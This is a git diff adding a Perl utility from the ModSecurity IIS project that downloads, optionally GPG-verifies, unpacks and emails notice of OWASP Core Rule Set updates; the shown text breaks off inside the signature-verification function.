my($a,$b,$c,$d) = ($opt{v} =~ m/^(\d+)\.?(\d+)?\.?(\d+)?(?:-(\D+\d+$)|($))/);
|
||||
if (defined $d) {
|
||||
(my $key = $d) =~ s/^(\D+)\d+$/-$1/;
|
||||
unless (exists $PREFIX_MAP{$key}) {
|
||||
usage(1, "Invalid version (bad suffix \"$d\"): $opt{v}");
|
||||
}
|
||||
$opt{v} = qr/^$a\.$b\.$c-$d$/;
|
||||
}
|
||||
elsif (defined $c) {
|
||||
$opt{v} = qr/^$a\.$b\.$c(?:-|$)/;
|
||||
}
|
||||
elsif (defined $b) {
|
||||
$opt{v} = qr/^$a\.$b\./;
|
||||
}
|
||||
elsif (defined $a) {
|
||||
$opt{v} = qr/^$a\./;
|
||||
}
|
||||
else {
|
||||
usage(1, "Invalid version: $opt{v}");
|
||||
}
|
||||
if ($opt{d}) {
|
||||
print STDERR "Using version regex: $opt{v}\n";
|
||||
}
|
||||
}
|
||||
else {
|
||||
$opt{v} = qr/^/;
|
||||
}
|
||||
|
||||
# Remove trailing slashes from uri and path
|
||||
$opt{r} =~ s/\/+$//;
|
||||
$opt{p} =~ s/\/+$//;
|
||||
|
||||
# Required opts
|
||||
usage(1, "Repository (-r) required.") unless(defined $opt{r});
|
||||
usage(1, "Local path (-p) required.") unless(defined $opt{p} or defined $opt{l});
|
||||
|
||||
my $ua = LWP::UserAgent->new(
|
||||
agent => "ModSecurity Updator/$VERSION",
|
||||
keep_alive => 1,
|
||||
env_proxy => 1,
|
||||
max_redirect => 5,
|
||||
requests_redirectable => [qw(GET HEAD)],
|
||||
timeout => ($opt{t} || 600),
|
||||
);
|
||||
|
||||
sub usage {
|
||||
my $rc = defined($$_[0]) ? $_[0] : 0;
|
||||
my $msg = defined($_[1]) ? "\n$_[1]\n\n" : "";
|
||||
|
||||
print STDERR << "EOT";
|
||||
${msg}Usage: $SCRIPT [-c config_file] [[options] [action]
|
||||
|
||||
Options (commandline will override config file):
|
||||
-r uri RepositoryURI Repository URI.
|
||||
-p path LocalRepository Local repository path to use as base for downloads.
|
||||
-s path LocalRules Local rules base path to use for unpacking.
|
||||
-v text Version Full/partial version (EX: 1, 1.5, 1.5.2, 1.5.2-dev3)
|
||||
-t secs Timeout Timeout for fetching data in seconds (default 600).
|
||||
-e addr NotifyEmail Notify via email on update (comma separated list).
|
||||
-f addr NotifyEmailFrom From address for notification email.
|
||||
-u Unpack Unpack into LocalRules/version path.
|
||||
-d Debug Print out lots of debugging.
|
||||
|
||||
Actions:
|
||||
-S name Fetch the latest stable ruleset, "name"
|
||||
-D name Fetch the latest development ruleset, "name"
|
||||
-R name Fetch the latest release candidate ruleset, "name"
|
||||
-U name Fetch the latest unstable (non-stable) ruleset, "name"
|
||||
-F name Fetch the latest ruleset, "name"
|
||||
-l Print listing of what is available
|
||||
|
||||
Misc:
|
||||
-c Specify a config file for options.
|
||||
-h This help
|
||||
|
||||
Examples:
|
||||
|
||||
# Get a list of what the repository contains:
|
||||
$SCRIPT -rhttp://host/repo/ -l
|
||||
|
||||
# Get a partial list of versions 1.5.x:
|
||||
$SCRIPT -rhttp://host/repo/ -v1.5 -l
|
||||
|
||||
# Get the latest stable version of "breach_ModSecurityCoreRules":
|
||||
$SCRIPT -rhttp://host/repo/ -p/my/repo -Sbreach_ModSecurityCoreRules
|
||||
|
||||
# Get the latest stable 1.5 release of "breach_ModSecurityCoreRules":
|
||||
$SCRIPT -rhttp://host/repo/ -p/my/repo -v1.5 -Sbreach_ModSecurityCoreRules
|
||||
EOT
|
||||
exit $rc;
|
||||
}
|
||||
|
||||
sub sort_versions {
|
||||
(my $A = $a) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
|
||||
(my $B = $b) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
|
||||
return $A cmp $B;
|
||||
}
|
||||
|
||||
sub parse_config {
|
||||
my($file,$clo) = @_;
|
||||
my %cfg = ();
|
||||
|
||||
print STDERR "Parsing config: $file\n" if ($opt{d});
|
||||
open(CFG, "<$file") or die "Failed to open config \"$file\": $!\n";
|
||||
while(<CFG>) {
|
||||
# Skip comments and empty lines
|
||||
next if (/^\s*(?:#|$)/);
|
||||
|
||||
# Parse
|
||||
chomp;
|
||||
my($var,$q1,$val,$q2) = (m/^\s*(\S+)\s+(['"]?)(.*?)(\2)\s*$/);
|
||||
|
||||
# Fixup values
|
||||
$var = lc($var);
|
||||
if ($val =~ m/^(?:true|on)$/i) { $val = 1 };
|
||||
if ($val =~ m/^(?:false|off)$/i) { $val = 0 };
|
||||
|
||||
# Set opts
|
||||
if ($var eq "repositoryuri") { $cfg{r} = $val }
|
||||
elsif ($var eq "localrepository") { $cfg{p} = $val }
|
||||
elsif ($var eq "localrules") { $cfg{s} = $val }
|
||||
elsif ($var eq "version") { $cfg{v} = $val }
|
||||
elsif ($var eq "timeout") { $cfg{t} = $val }
|
||||
elsif ($var eq "notifyemail") { $cfg{e} = $val }
|
||||
elsif ($var eq "notifyemailfrom") { $cfg{f} = $val }
|
||||
elsif ($var eq "notifyemaildiff") { $cfg{E} = $val }
|
||||
elsif ($var eq "unpack") { $cfg{u} = $val }
|
||||
elsif ($var eq "debug") { $cfg{d} = $val }
|
||||
else { die "Invalid config directive: $var\n" }
|
||||
}
|
||||
close CFG;
|
||||
|
||||
my($k, $v);
|
||||
while (($k, $v) = each %{$clo || {}}) {
|
||||
$cfg{$k} = $v if (defined $v);
|
||||
}
|
||||
|
||||
return %cfg;
|
||||
}
|
||||
|
||||
sub repository_dump {
|
||||
my @replist = repository_listing();
|
||||
|
||||
print STDERR "\nRepository: $opt{r}\n\n";
|
||||
unless (@replist) {
|
||||
print STDERR "No matching entries.\n";
|
||||
return;
|
||||
}
|
||||
|
||||
for my $repo (@replist) {
|
||||
print "$repo {\n";
|
||||
my @versions = ruleset_available_versions($repo);
|
||||
for my $version (@versions) {
|
||||
if ($version =~ m/$opt{v}/) {
|
||||
printf "%15s: %s_%s.zip\n", $version, $repo, $version;
|
||||
}
|
||||
elsif ($opt{d}) {
|
||||
print STDERR "Skipping version: $version\n";
|
||||
}
|
||||
}
|
||||
print "}\n";
|
||||
}
|
||||
}
|
||||
|
||||
sub repository_listing {
|
||||
my $res = $ua->get("$opt{r}/.listing");
|
||||
unless ($res->is_success()) {
|
||||
die "Failed to get repository listing \"$opt{r}/.listing\": ".$res->status_line()."\n";
|
||||
}
|
||||
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
|
||||
}
|
||||
|
||||
sub ruleset_listing {
|
||||
my $res = $ua->get("$opt{r}/$_[0]/.listing");
|
||||
unless ($res->is_success()) {
|
||||
die "Failed to get ruleset listing \"$opt{r}/$_[0]/.listing\": ".$res->status_line()."\n";
|
||||
}
|
||||
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
|
||||
}
|
||||
|
||||
sub ruleset_available_versions {
|
||||
return sort sort_versions map { m/_([^_]+)\.zip.*$/; $1 } ruleset_listing($_[0]);
|
||||
}
|
||||
|
||||
sub ruleset_fetch {
|
||||
my($repo, $version) = @_;
|
||||
|
||||
# Create paths
|
||||
if (! -e "$opt{p}" ) {
|
||||
mkdir "$opt{p}" or die "Failed to create \"$opt{p}\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{p}/$repo" ) {
|
||||
mkdir "$opt{p}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
|
||||
}
|
||||
|
||||
my $fn = "${repo}_$version.zip";
|
||||
my $ruleset = "$repo/$fn";
|
||||
my $ruleset_sig = "$repo/$fn.sig";
|
||||
|
||||
if (-e "$opt{p}/$ruleset") {
|
||||
die "Refused to overwrite ruleset \"$opt{p}/$ruleset\".\n";
|
||||
}
|
||||
|
||||
# Fetch the ruleset
|
||||
print STDERR "Fetching: $ruleset ...\n";
|
||||
my $res = $ua->get(
|
||||
"$opt{r}/$ruleset",
|
||||
":content_file" => "$opt{p}/$ruleset",
|
||||
);
|
||||
die "Failed to retrieve ruleset $ruleset: ".$res->status_line()."\n" unless ($res->is_success());
|
||||
|
||||
# Fetch the ruleset signature
|
||||
if (-e "$opt{p}/$ruleset_sig") {
|
||||
die "Refused to overwrite ruleset signature \"$opt{p}/$ruleset_sig\".\n";
|
||||
}
|
||||
$res = $ua->get(
|
||||
"$opt{r}/$ruleset_sig",
|
||||
":content_file" => "$opt{p}/$ruleset_sig",
|
||||
);
|
||||
|
||||
# Verify the signature if we can
|
||||
if ($HAVE_GNUPG) {
|
||||
die "Failed to retrieve ruleset signature $ruleset_sig: ".$res->status_line()."\n" unless ($res->is_success());
|
||||
|
||||
ruleset_verifysig("$opt{p}/$ruleset", "$opt{p}/$ruleset_sig");
|
||||
}
|
||||
push @fetched, [$repo, $version, $ruleset, undef];
|
||||
}
|
||||
|
||||
sub ruleset_unpack {
|
||||
my($repo, $version, $ruleset) = @{ $_[0] || [] };
|
||||
my $fn = "$opt{p}/$ruleset";
|
||||
|
||||
if (! -e "$fn" ) {
|
||||
die "Internal Error: No ruleset to unpack - \"$fn\"\n";
|
||||
}
|
||||
|
||||
# Create paths
|
||||
if (! -e "$opt{s}" ) {
|
||||
mkdir "$opt{s}" or die "Failed to create \"$opt{p}\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{s}/$repo" ) {
|
||||
mkdir "$opt{s}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{s}/$repo/$version" ) {
|
||||
mkdir "$opt{s}/$repo/$version" or die "Failed to create \"$opt{p}/$repo/$version\": $!\n";
|
||||
}
|
||||
else {
|
||||
die "Refused to overwrite previously unpacked \"$opt{s}/$repo/$version\".\n";
|
||||
}
|
||||
|
||||
# TODO: Verify sig
|
||||
|
||||
my $pwd = getcwd();
|
||||
my $unpackdir = "$opt{s}/$repo/$version";
|
||||
chdir "$unpackdir";
|
||||
if ($@) {
|
||||
my $err = $!;
|
||||
chdir $pwd;
|
||||
die "Failed to chdir to \"$unpackdir\": $err\n";
|
||||
}
|
||||
undef $!;
|
||||
system(@$UNZIP, $fn);
|
||||
if ($? != 0) {
|
||||
my $err = $!;
|
||||
chdir $pwd;
|
||||
die "Failed to unpack \"$unpackdir\"".($err?": $err":".")."\n";
|
||||
}
|
||||
chdir $pwd;
|
||||
|
||||
# Add where we unpacked it
|
||||
$_->[3] = $unpackdir;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub ruleset_fetch_latest {
|
||||
my($repo, $type) = @_;
|
||||
my @versions = ruleset_available_versions($repo);
|
||||
my $verre = defined($opt{v}) ? qr/^$opt{v}/ : qr/^/;
|
||||
my $typere = undef;
|
||||
|
||||
# Figure out what to look for
|
||||
if (defined($type) and $type ne "") {
|
||||
if ($type eq "UNSTABLE") {
|
||||
$typere = qr/\d-\D+\d+$/;
|
||||
}
|
||||
else {
|
||||
$typere = qr/\d-$type\d+$/;
|
||||
}
|
||||
}
|
||||
elsif (defined($type)) {
|
||||
qr/\.\d+$/;
|
||||
}
|
||||
|
||||
while (@versions) {
|
||||
my $last = pop(@versions);
|
||||
# Check REs on version
|
||||
if ($last =~ m/$opt{v}/ and (!defined($typere) || $last =~ m/$typere/)) {
|
||||
return ruleset_fetch($repo, $last);
|
||||
}
|
||||
if ($opt{d}) {
|
||||
print STDERR "Skipping version: $last\n";
|
||||
}
|
||||
}
|
||||
|
||||
die "No $type ruleset found.\n";
|
||||
}
|
||||
|
||||
sub notify_email {
|
||||
my $version_text = join("\n", map { "$_->[0] v$_->[1]".(defined($_->[3])?": $_->[3]":"") } @_);
|
||||
my $from = $opt{f} ? "From: $opt{f}\n" : "";
|
||||
my $body = << "EOT";
|
||||
ModSecurity rulesets updated and ready to install on host $HOST:
|
||||
|
||||
$version_text
|
||||
|
||||
ModSecurity - http://www.modsecurity.org/
|
||||
EOT
|
||||
|
||||
# TODO: Diffs
|
||||
|
||||
open(SM, "|-", @$SENDMAIL) or die "Failed to send mail: $!\n";
|
||||
print STDERR "Sending notification email to: $opt{e}\n";
|
||||
print SM << "EOT";
|
||||
${from}To: $opt{e}
|
||||
Subject: [$HOST] ModSecurity Ruleset Update Notification
|
||||
|
||||
$body
|
||||
EOT
|
||||
close SM;
|
||||
}
|
||||
|
||||
sub ruleset_verifysig {
|
||||
my($fn, $sigfn) = @_;
|
||||
|
||||
print STDERR "Verifying \"$fn\" with signature \"$sigfn\"\n";
|
||||
my $gpg = new GnuPG();
|
||||
my $sig = eval { $gpg->verify( signature => $sigfn, file => $fn ) };
|
||||
if (defined $sig) {
|
||||
print STDERR sig2str($sig)."\n";
|
||||
}
|
||||
if (!defined($sig)) {
|
||||
die "Signature validation failed.\n";
|
||||
}
|
||||
if ( $sig->{trust} < $REQUIRED_SIG_TRUST ) {
|
||||
die "Signature is not trusted ".$GPG_TRUST{$REQUIRED_SIG_TRUST}.".\n";
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
sub sig2str {
|
||||
my %sig = %{ $_[0] || {} };
|
||||
"Signature made ".localtime($sig{timestamp})." by $sig{user} (ID: $sig{keyid}) and is $GPG_TRUST{$sig{trust}} trusted.";
|
||||
}
|
||||
|
||||
################################################################################
|
||||
################################################################################
|
||||
|
||||
# List what is there
|
||||
if ($opt{l}) { repository_dump(); exit 0 }
|
||||
# Latest stable
|
||||
elsif (defined($opt{S})) { ruleset_fetch_latest($opt{S}, "") }
|
||||
# Latest development
|
||||
elsif (defined($opt{D})) { ruleset_fetch_latest($opt{D}, "dev") }
|
||||
# Latest release candidate
|
||||
elsif (defined($opt{R})) { ruleset_fetch_latest($opt{R}, "rc") }
|
||||
# Latest unstable
|
||||
elsif (defined($opt{U})) { ruleset_fetch_latest($opt{U}, "UNSTABLE") }
|
||||
# Latest (any type)
|
||||
elsif (defined($opt{F})) { ruleset_fetch_latest($opt{F}, undef) }
|
||||
|
||||
# Unpack
|
||||
if ($opt{u}) {
|
||||
if (! defined $opt{s} ) { usage(1, "LocalRules is required for unpacking.") }
|
||||
for (@fetched) {
|
||||
ruleset_unpack($_);
|
||||
}
|
||||
}
|
||||
|
||||
# Unpack
|
||||
if ($opt{e}) {
|
||||
notify_email(@fetched);
|
||||
}
|
454
iis/ModSecurityIIS/owasp_crs/util/rules-updater.pl.in
Normal file
454
iis/ModSecurityIIS/owasp_crs/util/rules-updater.pl.in
Normal file
@@ -0,0 +1,454 @@
|
||||
#!@PERL@
|
||||
#
|
||||
# Fetches the latest ModSecurity Ruleset
|
||||
#
|
||||
|
||||
use strict;
|
||||
use Sys::Hostname;
|
||||
use LWP::UserAgent ();
|
||||
use LWP::Debug qw(-);
|
||||
use URI ();
|
||||
use HTTP::Date ();
|
||||
use Cwd qw(getcwd);
|
||||
use Getopt::Std;
|
||||
|
||||
my $VERSION = "0.0.1";
|
||||
my($SCRIPT) = ($0 =~ m/([^\/\\]+)$/);
|
||||
my $CRLFRE = qr/\015?\012/;
|
||||
my $HOST = Sys::Hostname::hostname();
|
||||
my $UNZIP = [qw(unzip -a)];
|
||||
my $SENDMAIL = [qw(/usr/lib/sendmail -oi -t)];
|
||||
my $HAVE_GNUPG = 0;
|
||||
my %PREFIX_MAP = (
|
||||
-dev => 0,
|
||||
-rc => 1,
|
||||
"" => 9,
|
||||
);
|
||||
my %GPG_TRUST = ();
|
||||
my $REQUIRED_SIG_TRUST;
|
||||
|
||||
eval "use GnuPG qw(:trust)";
|
||||
if ($@) {
|
||||
warn "Could not load GnuPG module - cannot verify ruleset signatures\n";
|
||||
}
|
||||
else {
|
||||
$HAVE_GNUPG = 1;
|
||||
%GPG_TRUST = (
|
||||
&TRUST_UNDEFINED => "not",
|
||||
&TRUST_NEVER => "not",
|
||||
&TRUST_MARGINAL => "marginally",
|
||||
&TRUST_FULLY => "fully",
|
||||
&TRUST_ULTIMATE => "ultimatly",
|
||||
);
|
||||
$REQUIRED_SIG_TRUST = &TRUST_FULLY;
|
||||
}
|
||||
|
||||
################################################################################
|
||||
################################################################################
|
||||
|
||||
my @fetched = ();
|
||||
my %opt = ();
|
||||
getopts('c:r:p:s:v:t:e:f:EuS:D:R:U:F:ldh', \%opt);
|
||||
|
||||
usage(1) if(defined $opt{h});
|
||||
usage(1) if(@ARGV > 1);
|
||||
|
||||
# Make sure we have an action
|
||||
if (! grep { defined } @opt{qw(S D R U F l)}) {
|
||||
usage(1, "Action required.");
|
||||
}
|
||||
|
||||
# Merge config with commandline opts
|
||||
if ($opt{c}) {
|
||||
%opt = parse_config($opt{c}, \%opt);
|
||||
}
|
||||
|
||||
LWP::Debug::level("+") if ($opt{d});
|
||||
|
||||
# Make the version into a regex
|
||||
if (defined $opt{v}) {
|
||||
my($a,$b,$c,$d) = ($opt{v} =~ m/^(\d+)\.?(\d+)?\.?(\d+)?(?:-(\D+\d+$)|($))/);
|
||||
if (defined $d) {
|
||||
(my $key = $d) =~ s/^(\D+)\d+$/-$1/;
|
||||
unless (exists $PREFIX_MAP{$key}) {
|
||||
usage(1, "Invalid version (bad suffix \"$d\"): $opt{v}");
|
||||
}
|
||||
$opt{v} = qr/^$a\.$b\.$c-$d$/;
|
||||
}
|
||||
elsif (defined $c) {
|
||||
$opt{v} = qr/^$a\.$b\.$c(?:-|$)/;
|
||||
}
|
||||
elsif (defined $b) {
|
||||
$opt{v} = qr/^$a\.$b\./;
|
||||
}
|
||||
elsif (defined $a) {
|
||||
$opt{v} = qr/^$a\./;
|
||||
}
|
||||
else {
|
||||
usage(1, "Invalid version: $opt{v}");
|
||||
}
|
||||
if ($opt{d}) {
|
||||
print STDERR "Using version regex: $opt{v}\n";
|
||||
}
|
||||
}
|
||||
else {
|
||||
$opt{v} = qr/^/;
|
||||
}
|
||||
|
||||
# Remove trailing slashes from uri and path
|
||||
$opt{r} =~ s/\/+$//;
|
||||
$opt{p} =~ s/\/+$//;
|
||||
|
||||
# Required opts
|
||||
usage(1, "Repository (-r) required.") unless(defined $opt{r});
|
||||
usage(1, "Local path (-p) required.") unless(defined $opt{p} or defined $opt{l});
|
||||
|
||||
my $ua = LWP::UserAgent->new(
|
||||
agent => "ModSecurity Updator/$VERSION",
|
||||
keep_alive => 1,
|
||||
env_proxy => 1,
|
||||
max_redirect => 5,
|
||||
requests_redirectable => [qw(GET HEAD)],
|
||||
timeout => ($opt{t} || 600),
|
||||
);
|
||||
|
||||
sub usage {
|
||||
my $rc = defined($$_[0]) ? $_[0] : 0;
|
||||
my $msg = defined($_[1]) ? "\n$_[1]\n\n" : "";
|
||||
|
||||
print STDERR << "EOT";
|
||||
${msg}Usage: $SCRIPT [-c config_file] [[options] [action]
|
||||
|
||||
Options (commandline will override config file):
|
||||
-r uri RepositoryURI Repository URI.
|
||||
-p path LocalRepository Local repository path to use as base for downloads.
|
||||
-s path LocalRules Local rules base path to use for unpacking.
|
||||
-v text Version Full/partial version (EX: 1, 1.5, 1.5.2, 1.5.2-dev3)
|
||||
-t secs Timeout Timeout for fetching data in seconds (default 600).
|
||||
-e addr NotifyEmail Notify via email on update (comma separated list).
|
||||
-f addr NotifyEmailFrom From address for notification email.
|
||||
-u Unpack Unpack into LocalRules/version path.
|
||||
-d Debug Print out lots of debugging.
|
||||
|
||||
Actions:
|
||||
-S name Fetch the latest stable ruleset, "name"
|
||||
-D name Fetch the latest development ruleset, "name"
|
||||
-R name Fetch the latest release candidate ruleset, "name"
|
||||
-U name Fetch the latest unstable (non-stable) ruleset, "name"
|
||||
-F name Fetch the latest ruleset, "name"
|
||||
-l Print listing of what is available
|
||||
|
||||
Misc:
|
||||
-c Specify a config file for options.
|
||||
-h This help
|
||||
|
||||
Examples:
|
||||
|
||||
# Get a list of what the repository contains:
|
||||
$SCRIPT -rhttp://host/repo/ -l
|
||||
|
||||
# Get a partial list of versions 1.5.x:
|
||||
$SCRIPT -rhttp://host/repo/ -v1.5 -l
|
||||
|
||||
# Get the latest stable version of "breach_ModSecurityCoreRules":
|
||||
$SCRIPT -rhttp://host/repo/ -p/my/repo -Sbreach_ModSecurityCoreRules
|
||||
|
||||
# Get the latest stable 1.5 release of "breach_ModSecurityCoreRules":
|
||||
$SCRIPT -rhttp://host/repo/ -p/my/repo -v1.5 -Sbreach_ModSecurityCoreRules
|
||||
EOT
|
||||
exit $rc;
|
||||
}
|
||||
|
||||
sub sort_versions {
|
||||
(my $A = $a) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
|
||||
(my $B = $b) =~ s/^(\d+)\.(\d+)\.(\d+)(-[^-\d]+|)(\d*)$/sprintf("%03d%03d%03d%03d%03d", $1, $2, $3, $PREFIX_MAP{$4}, $5)/e;
|
||||
return $A cmp $B;
|
||||
}
|
||||
|
||||
sub parse_config {
|
||||
my($file,$clo) = @_;
|
||||
my %cfg = ();
|
||||
|
||||
print STDERR "Parsing config: $file\n" if ($opt{d});
|
||||
open(CFG, "<$file") or die "Failed to open config \"$file\": $!\n";
|
||||
while(<CFG>) {
|
||||
# Skip comments and empty lines
|
||||
next if (/^\s*(?:#|$)/);
|
||||
|
||||
# Parse
|
||||
chomp;
|
||||
my($var,$q1,$val,$q2) = (m/^\s*(\S+)\s+(['"]?)(.*)(\2)\s*$/);
|
||||
|
||||
# Fixup values
|
||||
$var = lc($var);
|
||||
if ($val =~ m/^(?:true|on)$/i) { $val = 1 };
|
||||
if ($val =~ m/^(?:false|off)$/i) { $val = 0 };
|
||||
|
||||
# Set opts
|
||||
if ($var eq "repositoryuri") { $cfg{r} = $val }
|
||||
elsif ($var eq "localrepository") { $cfg{p} = $val }
|
||||
elsif ($var eq "localrules") { $cfg{s} = $val }
|
||||
elsif ($var eq "version") { $cfg{v} = $val }
|
||||
elsif ($var eq "timeout") { $cfg{t} = $val }
|
||||
elsif ($var eq "notifyemail") { $cfg{e} = $val }
|
||||
elsif ($var eq "notifyemailfrom") { $cfg{f} = $val }
|
||||
elsif ($var eq "notifyemaildiff") { $cfg{E} = $val }
|
||||
elsif ($var eq "unpack") { $cfg{u} = $val }
|
||||
elsif ($var eq "debug") { $cfg{d} = $val }
|
||||
else { die "Invalid config directive: $var\n" }
|
||||
}
|
||||
close CFG;
|
||||
|
||||
my($k, $v);
|
||||
while (($k, $v) = each %{$clo || {}}) {
|
||||
$cfg{$k} = $v if (defined $v);
|
||||
}
|
||||
|
||||
return %cfg;
|
||||
}
|
||||
|
||||
sub repository_dump {
|
||||
my @replist = repository_listing();
|
||||
|
||||
print STDERR "\nRepository: $opt{r}\n\n";
|
||||
unless (@replist) {
|
||||
print STDERR "No matching entries.\n";
|
||||
return;
|
||||
}
|
||||
|
||||
for my $repo (@replist) {
|
||||
print "$repo {\n";
|
||||
my @versions = ruleset_available_versions($repo);
|
||||
for my $version (@versions) {
|
||||
if ($version =~ m/$opt{v}/) {
|
||||
printf "%15s: %s_%s.zip\n", $version, $repo, $version;
|
||||
}
|
||||
elsif ($opt{d}) {
|
||||
print STDERR "Skipping version: $version\n";
|
||||
}
|
||||
}
|
||||
print "}\n";
|
||||
}
|
||||
}
|
||||
|
||||
sub repository_listing {
|
||||
my $res = $ua->get("$opt{r}/.listing");
|
||||
unless ($res->is_success()) {
|
||||
die "Failed to get repository listing \"$opt{r}/.listing\": ".$res->status_line()."\n";
|
||||
}
|
||||
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
|
||||
}
|
||||
|
||||
sub ruleset_listing {
|
||||
my $res = $ua->get("$opt{r}/$_[0]/.listing");
|
||||
unless ($res->is_success()) {
|
||||
die "Failed to get ruleset listing \"$opt{r}/$_[0]/.listing\": ".$res->status_line()."\n";
|
||||
}
|
||||
return grep(/\S/, split(/$CRLFRE/, $res->content)) ;
|
||||
}
|
||||
|
||||
sub ruleset_available_versions {
|
||||
return sort sort_versions map { m/_([^_]+)\.zip.*$/; $1 } ruleset_listing($_[0]);
|
||||
}
|
||||
|
||||
sub ruleset_fetch {
|
||||
my($repo, $version) = @_;
|
||||
|
||||
# Create paths
|
||||
if (! -e "$opt{p}" ) {
|
||||
mkdir "$opt{p}" or die "Failed to create \"$opt{p}\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{p}/$repo" ) {
|
||||
mkdir "$opt{p}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
|
||||
}
|
||||
|
||||
my $fn = "${repo}_$version.zip";
|
||||
my $ruleset = "$repo/$fn";
|
||||
my $ruleset_sig = "$repo/$fn.sig";
|
||||
|
||||
if (-e "$opt{p}/$ruleset") {
|
||||
die "Refused to overwrite ruleset \"$opt{p}/$ruleset\".\n";
|
||||
}
|
||||
|
||||
# Fetch the ruleset
|
||||
print STDERR "Fetching: $ruleset ...\n";
|
||||
my $res = $ua->get(
|
||||
"$opt{r}/$ruleset",
|
||||
":content_file" => "$opt{p}/$ruleset",
|
||||
);
|
||||
die "Failed to retrieve ruleset $ruleset: ".$res->status_line()."\n" unless ($res->is_success());
|
||||
|
||||
# Fetch the ruleset signature
|
||||
if (-e "$opt{p}/$ruleset_sig") {
|
||||
die "Refused to overwrite ruleset signature \"$opt{p}/$ruleset_sig\".\n";
|
||||
}
|
||||
$res = $ua->get(
|
||||
"$opt{r}/$ruleset_sig",
|
||||
":content_file" => "$opt{p}/$ruleset_sig",
|
||||
);
|
||||
|
||||
# Verify the signature if we can
|
||||
if ($HAVE_GNUPG) {
|
||||
die "Failed to retrieve ruleset signature $ruleset_sig: ".$res->status_line()."\n" unless ($res->is_success());
|
||||
|
||||
ruleset_verifysig("$opt{p}/$ruleset", "$opt{p}/$ruleset_sig");
|
||||
}
|
||||
push @fetched, [$repo, $version, $ruleset, undef];
|
||||
}
|
||||
|
||||
sub ruleset_unpack {
|
||||
my($repo, $version, $ruleset) = @{ $_[0] || [] };
|
||||
my $fn = "$opt{p}/$ruleset";
|
||||
|
||||
if (! -e "$fn" ) {
|
||||
die "Internal Error: No ruleset to unpack - \"$fn\"\n";
|
||||
}
|
||||
|
||||
# Create paths
|
||||
if (! -e "$opt{s}" ) {
|
||||
mkdir "$opt{s}" or die "Failed to create \"$opt{p}\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{s}/$repo" ) {
|
||||
mkdir "$opt{s}/$repo" or die "Failed to create \"$opt{p}/$repo\": $!\n";
|
||||
}
|
||||
if (! -e "$opt{s}/$repo/$version" ) {
|
||||
mkdir "$opt{s}/$repo/$version" or die "Failed to create \"$opt{p}/$repo/$version\": $!\n";
|
||||
}
|
||||
else {
|
||||
die "Refused to overwrite previously unpacked \"$opt{s}/$repo/$version\".\n";
|
||||
}
|
||||
|
||||
# TODO: Verify sig
|
||||
|
||||
my $pwd = getcwd();
|
||||
my $unpackdir = "$opt{s}/$repo/$version";
|
||||
chdir "$unpackdir";
|
||||
if ($@) {
|
||||
my $err = $!;
|
||||
chdir $pwd;
|
||||
die "Failed to chdir to \"$unpackdir\": $err\n";
|
||||
}
|
||||
undef $!;
|
||||
system(@$UNZIP, $fn);
|
||||
if ($? != 0) {
|
||||
my $err = $!;
|
||||
chdir $pwd;
|
||||
die "Failed to unpack \"$unpackdir\"".($err?": $err":".")."\n";
|
||||
}
|
||||
chdir $pwd;
|
||||
|
||||
# Add where we unpacked it
|
||||
$_->[3] = $unpackdir;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub ruleset_fetch_latest {
|
||||
my($repo, $type) = @_;
|
||||
my @versions = ruleset_available_versions($repo);
|
||||
my $verre = defined($opt{v}) ? qr/^$opt{v}/ : qr/^/;
|
||||
my $typere = undef;
|
||||
|
||||
# Figure out what to look for
|
||||
if (defined($type) and $type ne "") {
|
||||
if ($type eq "UNSTABLE") {
|
||||
$typere = qr/\d-\D+\d+$/;
|
||||
}
|
||||
else {
|
||||
$typere = qr/\d-$type\d+$/;
|
||||
}
|
||||
}
|
||||
elsif (defined($type)) {
|
||||
qr/\.\d+$/;
|
||||
}
|
||||
|
||||
while (@versions) {
|
||||
my $last = pop(@versions);
|
||||
# Check REs on version
|
||||
if ($last =~ m/$opt{v}/ and (!defined($typere) || $last =~ m/$typere/)) {
|
||||
return ruleset_fetch($repo, $last);
|
||||
}
|
||||
if ($opt{d}) {
|
||||
print STDERR "Skipping version: $last\n";
|
||||
}
|
||||
}
|
||||
|
||||
die "No $type ruleset found.\n";
|
||||
}
|
||||
|
||||
sub notify_email {
|
||||
my $version_text = join("\n", map { "$_->[0] v$_->[1]".(defined($_->[3])?": $_->[3]":"") } @_);
|
||||
my $from = $opt{f} ? "From: $opt{f}\n" : "";
|
||||
my $body = << "EOT";
|
||||
ModSecurity rulesets updated and ready to install on host $HOST:
|
||||
|
||||
$version_text
|
||||
|
||||
ModSecurity - http://www.modsecurity.org/
|
||||
EOT
|
||||
|
||||
# TODO: Diffs
|
||||
|
||||
open(SM, "|-", @$SENDMAIL) or die "Failed to send mail: $!\n";
|
||||
print STDERR "Sending notification email to: $opt{e}\n";
|
||||
print SM << "EOT";
|
||||
${from}To: $opt{e}
|
||||
Subject: [$HOST] ModSecurity Ruleset Update Notification
|
||||
|
||||
$body
|
||||
EOT
|
||||
close SM;
|
||||
}
|
||||
|
||||
sub ruleset_verifysig {
|
||||
my($fn, $sigfn) = @_;
|
||||
|
||||
print STDERR "Verifying \"$fn\" with signature \"$sigfn\"\n";
|
||||
my $gpg = new GnuPG();
|
||||
my $sig = eval { $gpg->verify( signature => $sigfn, file => $fn ) };
|
||||
if (defined $sig) {
|
||||
